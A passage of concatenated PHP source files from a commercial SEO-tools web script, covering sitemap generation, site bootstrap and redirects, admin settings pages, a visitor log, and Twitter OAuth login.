src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFMAAABMCAIAAACeUBwZAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMC1jMDYxID<KEY>/> </div> <div id="message_1"> <?php trans('We are currently down for maintenance',$lang['RF81']); ?> </div> <div id="message_2"> <?php echo $message; ?> <div class="clear"></div> </div> <div class="clear"></div> </div> <div id="footer_container"> <ul> <li style="text-align: center;"><?php echo $copyright; ?></li> </ul> <div class="clear"></div> </div> <div class="clear"></div> </div> <div class="clear"></div> </div> </body> </html> <?php die(); ?><file_sep><?php defined('SITEMAP_') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ //Load Basic Settings $siteInfo = mysqli_query($con, "SELECT * FROM site_info where id='1'"); $siteInfoRow = mysqli_fetch_array($siteInfo); $doForce = dbStrToArr($siteInfoRow['doForce']); $forceHttps = filter_var($doForce[0], FILTER_VALIDATE_BOOLEAN); $forceWww = filter_var($doForce[1], FILTER_VALIDATE_BOOLEAN); $baseURL = clean_url($baseURL); //WWW if($forceWww){ if ((strpos($serverHost, 'www.') === false)) $baseURL = 'www.'. $baseURL; } //HTTPS if($forceHttps) $baseURL = 'https://'. $baseURL; else $baseURL = 'http://'. $baseURL; $priorityArr = $freqArr = $linkArr = $tempLangList = array(); $tempLangPageCode = $tempLink = ''; $linkArr[] = $baseURL; if(isSelected($other['other']['sitemap']['auto'])){ $priorityArr = array('0.5', '0.6', '0.7', '0.8', '0.9'); $freqArr = array('hourly', 'daily', 'weekly'); }else{ $priorityArr = array($other['other']['sitemap']['priority']); $freqArr = array($other['other']['sitemap']['freqrange']); } $langList = getAvailableLanguageCodes($con); $sitemap = new Sitemap(substr($baseURL,0,-1)); $sitemap->deleteOldSitemaps(true); $sitemap->setMultilingual(isSelected($other['other']['sitemap']['multilingual'])); $sitemap->setGzip(isSelected($other['other']['sitemap']['gzip'])); $sitemap->addItem('/', '1.0', 'daily', 'Today', $langList); $result = mysqli_query($con, 'SELECT tool_url,tool_show FROM seo_tools'); while ($row = mysqli_fetch_array($result)) { if(isSelected($row['tool_show'])){ $tempLink = $baseURL.$row['tool_url']; $sitemap->addItem('/'.$row['tool_url'], pickUpRandom($priorityArr), pickUpRandom($freqArr), 'Today', $langList); $linkArr[] = $tempLink; } } $result = mysqli_query($con, 'SELECT * FROM pages'); while($row = mysqli_fetch_array($result)) { $tempLangPageCode = ''; if($row['type'] == 'page'){ if(isSelected($row['status'])){ if($row['lang'] == 'all'){ $tempLangList = $langList; $tempLink = $baseURL.'page/'.$row['page_url']; }else{ $tempLangPageCode = $row['lang']; $tempLangList = array($tempLangPageCode); $tempLink = $baseURL.$tempLangPageCode.'/page/'.$row['page_url']; } if(!in_array($tempLink,$linkArr)){ if($tempLangPageCode == '') $sitemap->addItem('/page/'.$row['page_url'], pickUpRandom($priorityArr), pickUpRandom($freqArr), 'Today', $tempLangList); else $sitemap->addItem('/'.$tempLangPageCode.'/page/'.$row['page_url'], pickUpRandom($priorityArr), pickUpRandom($freqArr), 'Today', $tempLangList); $linkArr[] = $tempLink; } } }elseif($row['type'] == 'internal'){ $row['page_url'] = removeShortCodes($row['page_url']); if(isSelected($row['status'])){ if($row['lang'] == 'all'){ $tempLangList = $langList; $tempLink = $baseURL.$row['page_url']; }else{ $tempLangPageCode = $row['lang']; $tempLangList = array($tempLangPageCode); $tempLink = $baseURL.$tempLangPageCode.'/'.$row['page_url']; } if(!in_array($tempLink,$linkArr)){ if($tempLangPageCode == '') $sitemap->addItem('/'.$row['page_url'], pickUpRandom($priorityArr), pickUpRandom($freqArr), 'Today', $tempLangList); else $sitemap->addItem('/'.$tempLangPageCode.'/'.$row['page_url'], pickUpRandom($priorityArr), pickUpRandom($freqArr), 'Today', $tempLangList); $linkArr[] = $tempLink; } } } } $resDa = mysqli_query($con, "SHOW TABLES LIKE 'domains_data'"); if(mysqli_num_rows($resDa) > 0) { $result = mysqli_query($con, 'SELECT domain FROM domains_data'); while ($row = mysqli_fetch_array($result)) { $tempLink = $baseURL.'domain/'.$row['domain']; if(!in_array($tempLink,$linkArr)){ $sitemap->addItem('/domain/'.$row['domain'], pickUpRandom($priorityArr), pickUpRandom($freqArr), 'Today', $langList); $linkArr[] = $tempLink; } } } $resDa = mysqli_query($con,"SHOW TABLES LIKE 'blog_content'"); if(mysqli_num_rows($resDa) > 0) { $query = 'SELECT * FROM blog_content'; $result = mysqli_query($con, $query); while($row = mysqli_fetch_array($result)) { $tempLangPageCode = ''; if(isSelected($row['post_enable'])){ if($row['lang'] == 'all'){ $tempLangList = $langList; $tempLink = $baseURL.'blog/'.$row['post_url']; }else{ $tempLangPageCode = $row['lang']; $tempLangList = array($tempLangPageCode); $tempLink = $baseURL.$tempLangPageCode.'/blog/'.$row['post_url']; } if(!in_array($tempLink,$linkArr)){ if($tempLangPageCode == '') $sitemap->addItem('/blog/'.$row['post_url'], pickUpRandom($priorityArr), pickUpRandom($freqArr), 'Today', $tempLangList); else $sitemap->addItem('/'.$tempLangPageCode.'/blog/'.$row['post_url'], pickUpRandom($priorityArr), pickUpRandom($freqArr), 'Today', $tempLangList); $linkArr[] = $tempLink; } } } } $sitemap->createSitemapIndex($baseURL, 'Today');<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2018 ProThemes.Biz * */ //Current Date & User IP $date = date('jS F Y'); $ip = getUserIP(); //Higher Level Plugin Execution if(PLUG_SYS) require LIB_DIR.'user_levelx.php'; //Load Basic Settings $siteInfo = mysqli_query($con, "SELECT * FROM site_info where id='1'"); $siteInfoRow = mysqli_fetch_array($siteInfo); $title = $siteInfoRow['title']; $des = $siteInfoRow['des']; $keyword = $siteInfoRow['keyword']; $site_name = $siteInfoRow['site_name']; $adminEmail = trim($siteInfoRow['email']); $social_links = dbStrToArr($siteInfoRow['social_links']); $doForce = dbStrToArr($siteInfoRow['doForce']); $copyright = $siteInfoRow['copyright']; $other = dbStrToArr($siteInfoRow['other_settings']); $ga = $other['other']['ga']; $ddosDetect = filter_var($other['other']['ddos'], FILTER_VALIDATE_BOOLEAN); $forceHttps = filter_var($doForce[0], FILTER_VALIDATE_BOOLEAN); $forceWww = filter_var($doForce[1], FILTER_VALIDATE_BOOLEAN); //Application Level DDoS Check if($ddosDetect) ddosCheck($con,$ip); //WWW Redirect if($forceWww){ if ((strpos($_SERVER['HTTP_HOST'], 'www.') === false)) { $protocol = isset($_SERVER["HTTPS"]) ? 'https://' : 'http://'; header('Location: '.$protocol.'www.'. $serverHost . $_SERVER["REQUEST_URI"],true,301); exit(); } } //HTTPS Redirect if($forceHttps) { if (!isset($_SERVER["HTTPS"])) { header('Location: '.'https://'. $serverHost . $_SERVER["REQUEST_URI"],true,301); exit(); } } //Load AD Codes $dbAd = mysqli_query($con, "SELECT * FROM ads where id='1'"); $dbAdRow = mysqli_fetch_array($dbAd); $ads_720x90 = htmlspecialchars_decode($dbAdRow['ad720x90']); $ads_250x300 = htmlspecialchars_decode($dbAdRow['ad250x300']); $ads_250x125 = htmlspecialchars_decode($dbAdRow['ad250x125']); $ads_468x70 = htmlspecialchars_decode($dbAdRow['ad480x60']); $text_ads = htmlspecialchars_decode($dbAdRow['text_ads']); //Load User Settings $query = mysqli_query($con,"SELECT * FROM user_settings WHERE id='1'"); $userRow = mysqli_fetch_array($query); $enable_reg = filter_var(Trim($userRow['enable_reg']), FILTER_VALIDATE_BOOLEAN); $enable_oauth = filter_var(Trim($userRow['enable_oauth']), FILTER_VALIDATE_BOOLEAN); $quick_login = filter_var(Trim($userRow['enable_quick']), FILTER_VALIDATE_BOOLEAN); $oauth_keys = dbStrToArr($userRow['oauth_keys']); $visitors_limit = intval($userRow['visitors_limit']); //Check User IP is banned ipBanCheck($con,$ip,$site_name); //Get the default theme $default_theme = ''; if(isset($_SESSION[N_APP.'UserSelectedTheme'])) $default_theme = raino_trim($_SESSION[N_APP.'UserSelectedTheme']); //User Selected Theme elseif(isset($_SESSION[N_APP.'AdminSelectedTheme'])){ $default_theme = raino_trim($_SESSION[N_APP.'AdminSelectedTheme']); //Admin Selected Theme $footerAddArr[] = previewBox(); }else $default_theme = getTheme($con); //Load Default Theme $theme_path = $baseURL.'theme' . '/' . $default_theme . '/'; define('THEMEURL', $theme_path); define('THEME_DIR', ROOT_DIR .'theme' . D_S . $default_theme . D_S); //Load theme settings $themeOptions = getThemeOptions($con,$default_theme,$baseURL); //Load Language $isRTL = false; $loadedLanguages = getAvailableLanguages($con); if(!isset($_GET['route'])){ if(isset($_SESSION[N_APP.'UserSelectedLang'])) $loadLangCode = strtolower(raino_trim($_SESSION[N_APP.'UserSelectedLang'])); //User Selected Language else $loadLangCode = getLang($con); //Default Language define('ACTIVE_LANG',$loadLangCode); $lang = getLangData($loadLangCode,$con); } //Load Router System require ROU_DIR.'router.php'; //Loaded Language is RTL $isRTL = isRTLlang($loadedLanguages); //Apply Short Code to title,des etc... $title = shortCodeFilter($title); $des = shortCodeFilter($des); $keyword = shortCodeFilter($keyword); $site_name = shortCodeFilter($site_name); $copyright = htmlspecialchars_decode(shortCodeFilter($copyright)); //Maintenance Mode if(isSelected($other['other']['maintenance'])){ if(!isset($_SESSION[N_APP.'AdminToken'])) $controller = 'maintenance'; } //Base Link with Language Code $baseLink = createLink('',true); //User Logout if(isset($_GET['logout'])){ unset($_SESSION[N_APP.'Token']); unset($_SESSION[N_APP.'Oauth_uid']); unset($_SESSION[N_APP.'Username']); unset($_SESSION[N_APP.'Pic']); unset($_SESSION[N_APP.'UserToken']); header('Location: '.$baseLink); exit(); } //Controller - Higher Level Plugin Execution if(PLUG_SYS) require LIB_DIR.'user_level1.php'; $path = CON_DIR . $controller . '.php'; if(file_exists($path)){ require($path); } else { writeLog('Controller File ("'.$controller.'.php") Not Found'); $controller = CON_ERR; require(CON_DIR. $controller . '.php'); } //Controller - Lower Level Plugin Execution if(PLUG_SYS) require LIB_DIR.'user_level2.php'; //Last Callback Link $_SESSION[N_APP.'LastCallbackLink'] = $currentLink; //Generate Menubar Links $menuBarLinks = getMenuBarLinks($con, $currentLink); $headerLinks = $menuBarLinks[0]; $footerLinks = $menuBarLinks[1]; if($enable_reg) $loginNav = makeLoginNav($quick_login,$baseURL,$lang); //Generate Page Title if(!isset($metaTitle)){ $metaTitle = ''; if(isset($pageTitle)) { $metaTitle = $pageTitle.' | '. $site_name; } else { $metaTitle = $title; } } //Lower Level Plugin Execution if(PLUG_SYS) require LIB_DIR.'user_levely.php'; define('VIEW', $controller);<file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="<?php getAdminMenuIcon($controller,$menuBarLinks); ?>"></i> Admin</a></li> <li class="active"><a href="<?php adminLink($controller); ?>"><?php echo $pageTitle; ?></a> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title"><?php echo $subTitle; ?></h3> </div><!-- /.box-header ba-la-ji --> <form action="#" method="POST"> <div class="box-body"> <?php if(isset($msg)) echo $msg; ?><br /> <div class="form-group"> <label>Item Purchase Code: <small>(License Key)</small></label> <input value="<?php echo $licArr['code']; ?>" disabled="" type="text" name="domain" class="form-control" /> </div> <div class="form-group"> <label>Registered Domain Name:</label> <input value="<?php echo $licArr['domain']; ?>" disabled="" type="text" name="domain" class="form-control" /> </div> <div class="form-group"> <label>Registered Link:</label> <input value="<?php echo ($licArr['path'] == '') ? $licArr['domain'].'/' : $licArr['path']; ?>" disabled="" type="text" name="domain" class="form-control" /> </div> <a target="_blank" href="http://api.prothemes.biz/tools/reset.php?code=<?php echo $item_purchase_code; ?>" class="btn btn-danger">Reset Domain Name</a> <br /> </div><!-- /.box-body --> </form> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ if(!isset($addonRes)) die("Not Allowed"); ?> <!-- Content Wrapper. Contains page content --> <div class="content-wrapper"> <!-- Content Header (Page header) --> <section class="content-header"> <h1> <?php echo $pageTitle; ?> <small>Control panel</small> </h1> <ol class="breadcrumb"> <li><a href="<?php adminLink(); ?>"><i class="fa fa-cogs"></i> Admin</a></li> <li class="active"><?php echo $pageTitle; ?> </li> </ol> </section> <!-- Main content --> <section class="content"> <div class="box box-primary"> <div class="box-header with-border"> <h3 class="box-title">Install Addons</h3> </div><!-- /.box-header --> <div class="box-body"> <?php if(isset($msg)) echo $msg;?> <br /> <p>Addon Installation Log File:</p> <textarea readonly="" id="tableRes" rows="12" class="form-control"><?php echo $addonRes; ?></textarea> <br /> <?php if(isset($addonError)){ if($errType == '2') { ?> <p style="color: #d35400;">Addon Installation Completed with Error! </p> <?php } elseif($errType == '1'){ ?> <p style="color: #c0392b;">Addon Installation Failed! </p> <?php } } else{ ?> <p style="color: #27ae60;">Addon Installation Completed! </p> <?php } ?> <br /> <?php if($customLink){ ?> <p>Goto:</p> <?php foreach($customLinks as $links){ echo $links. ' '; } } ?> <br /> </div><!-- /.box-body --> </div><!-- /.box --> </section><!-- /.content --> </div><!-- /.content-wrapper --><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'Visitor Log'; $subTitle = 'Visitor Log'; $fullLayout = 1; $rainbowTrackBalaji = ''; $footerAdd = true; $footerAddArr = array(); require_once(LIB_DIR.'geoip.inc'); $gi = geoip_open(LIB_DIR.'GeoIP.dat', GEOIP_MEMORY_CACHE); $giv6 = geoip_open(LIB_DIR.'GeoIPv6.dat', GEOIP_MEMORY_CACHE); $flagPath = ROOT_DIR.'resources'.D_S.'flags'.D_S.'default'.D_S.'24'.D_S; $iconPath = ROOT_DIR.'resources'.D_S.'icons'.D_S; $flagLink = $baseURL.'resources/flags/default/24/'; $iconLink = $baseURL.'resources/icons/'; $screenLink = $iconLink.'screen.png'; $loadingBar = $iconLink.'load.gif'; $date = date('Y-m-d'); $datas = array_reverse(getTrackRecords($date,$con)); foreach($datas as $ip => $ses){ foreach($ses as $sesID => $data){ if(isValidIPv6($ip)) $userCountryCode = geoip_country_code_by_addr_v6($giv6, $ip); else $userCountryCode = geoip_country_code_by_addr($gi, $ip); $userCountry = country_code_to_country($userCountryCode); $userCountry = ($userCountry == '') ? 'Unknown' : $userCountry; if(file_exists($flagPath.strtolower(Trim($userCountry)).'.png')) $coLink = $flagLink.strtolower(Trim($userCountry)).'.png'; else $coLink = $flagLink.'unknown.png'; $uaInfo = parse_user_agent($data['ua']); if(file_exists($iconPath.strtolower($uaInfo['platform']).'.png')) $osLink = $iconLink.strtolower($uaInfo['platform']).'.png'; else $osLink = $iconLink.'unknown.png'; if(file_exists($iconPath.strtolower($uaInfo['browser']).'.png')) $browserLink = $iconLink.strtolower($uaInfo['browser']).'.png'; else $browserLink = $iconLink.'unknown.png'; $pageData = ''; foreach($data['pages'] as $pageV){ $pageData .= '<div class="pagesWell"><a target="_blank" href="'.$pageV[0].'">'.$pageV[0].'</a><br> Hits: '.$pageV[1].' <br> Last Visit: '.date('h:i:s A',$pageV[2]).'</div> '; } if($data['ref'] != 'Direct'){ $data['ref'] = '<a hre="'.$data['ref'].'" target="_blank">'.getDomainName($data['ref']).'</a>'; } if(strtolower($data['username']) == 'guest') $username = 'Guest Visitor'; else $username = ucfirst($data['username']); $rainbowTrackBalaji .= ' <tr> <td> <img src="'.$coLink.'" alt="'.$userCountryCode.'" /> <strong class="b16">'.ucfirst($userCountry).'</strong><br><br> <strong>'.date('F jS Y h:i:s A',$data['time']).'</strong> <br> Username: '.$username.'<br> Page Views: '.$data['pageview'].'<br> IP: <span class="badge" style="background-color: '.rndFlatColor().' !important;">'.$ip.'</span><br><br> Entry: '.$data['ref'].'<br> </td> <td><img data-toggle="tooltip" data-placement="top" title="Operating System: '.$uaInfo['platform'].'" src="'.$osLink.'" alt="'.$uaInfo['platform'].'" /> <img data-toggle="tooltip" data-placement="top" title="Browser: '.$uaInfo['browser'].' '.$uaInfo['version'].'" src="'.$browserLink.'" alt="'.$uaInfo['browser'].'" /> <img data-toggle="tooltip" data-placement="top" title="Screen Resolution: '.$data['screen'].'" src="'.$screenLink.'" /> </td> <td>'.$pageData.'</td> </tr> '; } } geoip_close($gi); geoip_close($giv6); ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name A to Z SEO Tools v2 - PHP Script * @copyright © 2017 ProThemes.Biz * */ ?> <style>#resultBox { display: none; } .percentbox { text-align: center; font-size: 18px; } .percentimg { text-align: center; } </style> <script> var dateErr = "<?php makeJavascriptStr($lang['AS2'],true); ?>"; var ccErr = "<?php makeJavascriptStr($lang['AS3'],true); ?>"; var ssLimit = "<?php makeJavascriptStr($lang['AS4'],true); ?>"; var msgDomain = "<?php makeJavascriptStr($lang['28'],true); ?>"; var msgDown = "<?php makeJavascriptStr($lang['AS6'],true); ?>"; var crawlingStr = "<?php makeJavascriptStr($lang['AS29'],true); ?>"; var linksFound = "<?php makeJavascriptStr($lang['142'],true); ?>"; </script> <script src='<?php createLink('core/library/doSitemap.js',false,true); ?>'></script> <div class="container main-container"> <div class="row"> <?php if($themeOptions['general']['sidebar'] == 'left') require_once(THEME_DIR."sidebar.php"); ?> <div class="col-md-8 main-index"> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <div class="topBox"></div> <h2 id="title"><?php echo $data['tool_name']; ?></h2> <?php if ($pointOut != 'output') { ?> <br /> <div id="mainBox"> <p><?php echo $lang['139']; ?> </p> <form method="POST" action="<?php echo $toolOutputURL;?>" onsubmit="doSitemap(); return false"> <input type="text" name="url" id="url" value="" class="form-control"/> <input type="hidden" id="authCode" value="<?php echo $secKey.$secVal; ?>" /> <br /> <div class="row"> <div class="col-md-6"> <h5><?php echo $lang['132']; ?></h5> <select name="mapDate" id="mapDate" class="form-control"> <option value="0"><?php echo $lang['135']; ?></option> <option value="1"><?php echo $lang['137']; ?></option> <option value="2"><?php echo $lang['138']; ?></option> </select> </div> <div class="col-md-6"> <h5>dd/mm/yyyy</h5> <input type="text" name="mapdateBox" id="mapdateBox" value="" class="form-control"/> </div> </div> <div class="row" style="margin-top: 20px; margin-bottom: 30px;"> <div class="col-md-6"> <h5><?php echo $lang['133']; ?></h5> <select name="mapFre" id="mapFre" class="form-control"> <option value="N/A">None</option> <option value="Always">Always</option> <option value="Hourly">Hourly</option> <option value="Daily">Daily</option> <option value="Weekly">Weekly</option> <option value="Monthly">Monthly</option> <option value="Yearly">Yearly</option> </select> </div> <div class="col-md-6"> <h5><?php echo $lang['134']; ?></h5> <select name="mapPri" id="mapPri" class="form-control"> <option value="N/A">None</option> <option value="0.0">0.0</option> <option value="0.1">0.1</option> <option value="0.2">0.2</option> <option value="0.3">0.3</option> <option value="0.4">0.4</option> <option value="0.5">0.5</option> <option value="0.6">0.6</option> <option value="0.7">0.7</option> <option value="0.8">0.8</option> <option value="0.9">0.9</option> <option value="1.0">1.0</option> </select> </div> <div class="col-md-12" style="margin-top: 20px;"> <h5><?php echo $lang['140']; ?></h5> <select name="mapPages" id="mapPages" class="form-control"> <option value="50">50</option> <option value="100">100</option> <option value="200">200</option> <option value="250">250</option> <option value="500">500</option> <option value="750">750</option> <option value="1000">1000</option> <option value="2500">2500</option> <option value="3000">3000</option> <option value="4500">4500</option> <option value="5000">5000</option> </select> </div> </div> <?php if ($toolCap) echo $captchaCode; ?> <div class="text-center"> <input class="btn btn-info" type="submit" value="<?php echo $lang['131']; ?>" name="submit"/> </div> </form> </div> <div class="resultBox" id="resultBox"> <div class="percentimg"> <img src="<?php themeLink('img/load.gif'); ?>" /> <br /> <?php echo $lang['141']; ?>... <br /> <div class="linksCount"><?php echo $lang['142']; ?>: 0</div> </div> <div class="genCount"></div> <br /> <pre id="resultList" style="max-height: 400px;"></pre> <div class="text-center"> <br /> &nbsp; <br /> <a id="saveXMLFile" class="btn btn-success" title="<?php echo $lang['338']; ?>"><?php echo $lang['337']; ?></a> <a class="btn btn-info" href="<?php echo $toolURL; ?>"><?php echo $lang['27']; ?></a> <br /> </div> </div> <br /> <?php }?> <div class="xd_top_box"> <?php echo $ads_720x90; ?> </div> <h2 id="sec1" class="about_tool"><?php echo $lang['11'].' '.$data['tool_name']; ?></h2> <p> <?php echo $data['about_tool']; ?> </p> <br /> </div> <?php if($themeOptions['general']['sidebar'] == 'right') require_once(THEME_DIR."sidebar.php"); ?> </div> </div> <br /><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'Maintenance Settings'; $subTitle = 'Site Online / Offline'; $fullLayout = 1; $footerAdd = true; $footerAddArr = array(); if ($_SERVER['REQUEST_METHOD'] == 'POST'){ $siteInfo = mysqli_query($con, "SELECT * FROM site_info where id='1'"); $siteInfoRow = mysqli_fetch_array($siteInfo); $other = dbStrToArr($siteInfoRow['other_settings']); $other['other']['maintenance'] = escapeTrim($con, $_POST['maintenance_mode']); $other['other']['maintenance_mes'] = escapeTrim($con, $_POST['maintenance_mes']); $other_settings = arrToDbStr($con,$other); $query = "UPDATE site_info SET other_settings='$other_settings' WHERE id='1'"; mysqli_query($con, $query); if (mysqli_errno($con)) $msg = errorMsgAdmin(mysqli_error($con)); else $msg = successMsgAdmin('Maintenance settings saved successfully'); } //Load Maintenance Settings $siteInfo = mysqli_query($con, "SELECT * FROM site_info where id='1'"); $siteInfoRow = mysqli_fetch_array($siteInfo); $other = dbStrToArr($siteInfoRow['other_settings']); $maintenance_mode = isSelected($other['other']['maintenance']); $maintenance_mes = $other['other']['maintenance_mes']; ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2018 ProThemes.Biz * */ $pageTitle = 'Mail Settings'; $subTitle = 'General Settings'; $fullLayout = 1; $footerAdd = true; $footerAddArr = array(); if ($_SERVER['REQUEST_METHOD'] == 'POST') { $smtp_host = escapeTrim($con,$_POST['smtp_host']); $smtp_port = escapeTrim($con,$_POST['smtp_port']); $smtp_username = escapeTrim($con,$_POST['smtp_user']); $smtp_password = escapeTrim($con,$_POST['smtp_pass']); $socket = escapeTrim($con,$_POST['socket']); $auth = escapeTrim($con,$_POST['auth']); $protocol = escapeTrim($con,$_POST['protocol']); $query = "UPDATE mail SET smtp_host='$smtp_host', smtp_port='$smtp_port', smtp_username='$smtp_username', smtp_password='$<PASSWORD>', smtp_socket='$socket', protocol='$protocol', smtp_auth='$auth' WHERE id='1'"; mysqli_query($con,$query); if (mysqli_errno($con)) $msg = errorMsgAdmin(mysqli_error($con)); else $msg = successMsgAdmin('Mail information saved successfully'); } $mailInfo = mysqli_query($con, "SELECT * FROM mail WHERE id='1'"); $row = mysqli_fetch_array($mailInfo); $smtp_host = Trim($row['smtp_host']); $smtp_username = Trim($row['smtp_username']); $smtp_password = Trim($row['smtp_password']); $smtp_port = Trim($row['smtp_port']); $protocol = Trim($row['protocol']); $auth = Trim($row['smtp_auth']); $socket = Trim($row['smtp_socket']); ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright © 2017 ProThemes.Biz * */ $pageTitle = $lang['RF86']; if(isset($_SESSION[N_APP.'Username'])){ redirectTo(createLink('',true)); die(); } if(!$enable_reg){ header("Location: ". createLink('',true)); exit(); } if(!$enable_oauth){ header("Location: ". createLink('',true)); exit(); } // Oauth Twitter define('TWITTER_KEY', $oauth_keys['oauth']['twitter_key']); // Enter your twitter application id define('TWITTER_SECRET', $oauth_keys['oauth']['twitter_secret']); // Enter your twitter application secret code //Twitter Oauth Library require_once (LIB_DIR . 'twitter/TwitterOAuth.php'); if($pointOut == 'login'){ // create TwitterOAuth object $twitteroauth = new TwitterOAuth(TWITTER_KEY, TWITTER_SECRET); // request token of application $request_token = $twitteroauth->oauth( 'oauth/request_token', [ 'oauth_callback' => $oauth_keys['oauth']['twitter_redirect_uri'] ] ); // throw exception if something gone wrong if($twitteroauth->getLastHttpCode() != 200) { throw new \Exception($lang['RF88']); } // save token of application to session $_SESSION['oauth_token'] = $request_token['oauth_token']; $_SESSION['oauth_token_secret'] = $request_token['oauth_token_secret']; // generate the URL to make request to authorize our application $url = $twitteroauth->url( 'oauth/authorize', [ 'oauth_token' => $request_token['oauth_token'] ] ); // and redirect header('Location: '. $url); die(); } $oauth_verifier = filter_input(INPUT_GET, 'oauth_verifier'); if (empty($oauth_verifier) || empty($_SESSION['oauth_token']) || empty($_SESSION['oauth_token_secret'])){ //Error die($lang['RF87']); }else{ $connection = new TwitterOAuth(TWITTER_KEY, TWITTER_SECRET,$_SESSION['oauth_token'],$_SESSION['oauth_token_secret']); //request user token $token = $connection->oauth( 'oauth/access_token', [ 'oauth_verifier' => $oauth_verifier ] ); $connection = new TwitterOAuth(TWITTER_KEY, TWITTER_SECRET,$token['oauth_token'],$token['oauth_token_secret']); $params = array('include_email' => 'true', 'include_entities' => 'false', 'skip_status' => 'true'); $content = $connection->get('account/verify_credentials',$params); $client_name = $content->name; $client_id = $content->id; $client_email = $content->email; $client_plat = 'Twitter'; $row = mysqliPreparedQuery($con, "SELECT * FROM users WHERE oauth_uid=?",'s',array($client_id)); if($row !== false){ $user_username = $row['username']; $db_verified = $row['verified']; if ($db_verified == "2"){ die($lang['RF44']); } else{ $_SESSION[N_APP.'Username'] = $user_username; $_SESSION[N_APP.'Token'] = Md5($db_id . $username); $_SESSION[N_APP.'Oauth_uid'] = $client_id; $_SESSION[N_APP.'UserToken'] = passwordHash($db_id . $username); $old_user = 1; header("Location: ". createLink('',true)); exit(); } } else { $new_user = 1; $last_id = getLastID($con, 'users'); if ($last_id== '' || $last_id==null){ $username = "User1"; } else { $last_id = $last_id + 1; $username = "User$last_id"; } $_SESSION[N_APP.'Username'] = $username; $_SESSION[N_APP.'Oauth_uid'] = $client_id; $_SESSION[N_APP.'Token'] = Md5($db_id . $username); $_SESSION[N_APP.'UserToken'] = passwordHash($db_id . $username); $nowDate = date('m/d/Y h:i:sA'); $sDate = date('m/d/Y'); $res = insertToDbPrepared($con, 'users', array( 'oauth_uid' => $client_id, 'username' => $username, 'email_id' => $client_email, 'full_name' => $client_name, 'platform' => $client_plat, 'password' => <PASSWORD>, 'verified' => '1', 'picture' => 'NONE', 'date' => $sDate, 'added_date' => $nowDate, 'ip' => $ip )); header("Location: ".createLink('',true)); exit(); } } die(); ?><file_sep><?php defined('APP_NAME') or die(header('HTTP/1.0 403 Forbidden')); /* * @author Balaji * @name: Rainbow PHP Framework * @copyright 2018 ProThemes.Biz * */ $pageTitle = 'Manage Themes'; $subTitle = 'All Themes'; $defaultTheme = getTheme($con); $fullLayout = 1; $footerAdd = false; $footerAddArr = array(); if($pointOut == 'success') $msg = successMsgAdmin('Selected theme applied successfully.'); if($pointOut == 'failed') $msg = successMsgAdmin('Something went wrong!'); if($pointOut === 'clone') { $subTitle = 'Clone Theme'; if (isset($args[0]) && $args[0] != '') { $themeDir = ROOT_DIR.'theme'.D_S.$args[0]; $themeDetails = array(); if (is_dir($themeDir)) { $themeDetailsFile = $themeDir . D_S . 'themeDetails.xml'; if (file_exists($themeDetailsFile)) { $themeDetailsXML = simplexml_load_file($themeDetailsFile, "SimpleXMLElement", LIBXML_NOCDATA); $themeDetails = json_decode(json_encode($themeDetailsXML), true); if (isset($themeDetails['@attributes']['compatibility'])) { if ($themeDetails['@attributes']['compatibility'] == '1.0') { if (isset($themeDetails['themeDetails'])) $themeDetails = $themeDetails['themeDetails']; } } } } $srcTheme = explode('/',$themeDetails['builder']); $srcTheme = $srcTheme[count($srcTheme) - 1]; $builderControllers = ADMIN_CON_DIR.'builder'; $builderTheme = ADMIN_THEME_DIR.'builder'; $themePath = ROOT_DIR.'theme'; $minMsg = array(); $minError = false; if (is_writable($builderControllers)) { $minMsg[] = array('"/admin/controllers/builder/"','<span class="label label-success">Writable</span>'); } else { $minError = true; $minMsg[] = array('"/admin/controllers/builder/"','<span class="label label-danger">Not Writable</span>'); } if (is_writable($builderTheme)) { $minMsg[] = array('"/admin/theme/default/builder/"','<span class="label label-success">Writable</span>'); } else { $minError = true; $minMsg[] = array('"/admin/theme/default/builder/"','<span class="label label-danger">Not Writable</span>'); } if (is_writable($themePath)) { $minMsg[] = array('"/theme/"','<span class="label label-success">Writable</span>'); } else { $minError = true; $minMsg[] = array('"/theme/"','<span class="label label-danger">Not Writable</span>'); } if ($_SERVER['REQUEST_METHOD'] == 'POST') { $log = array(); $myValues = array_map_recursive(function ($item) use ($con) { return escapeTrim($con, 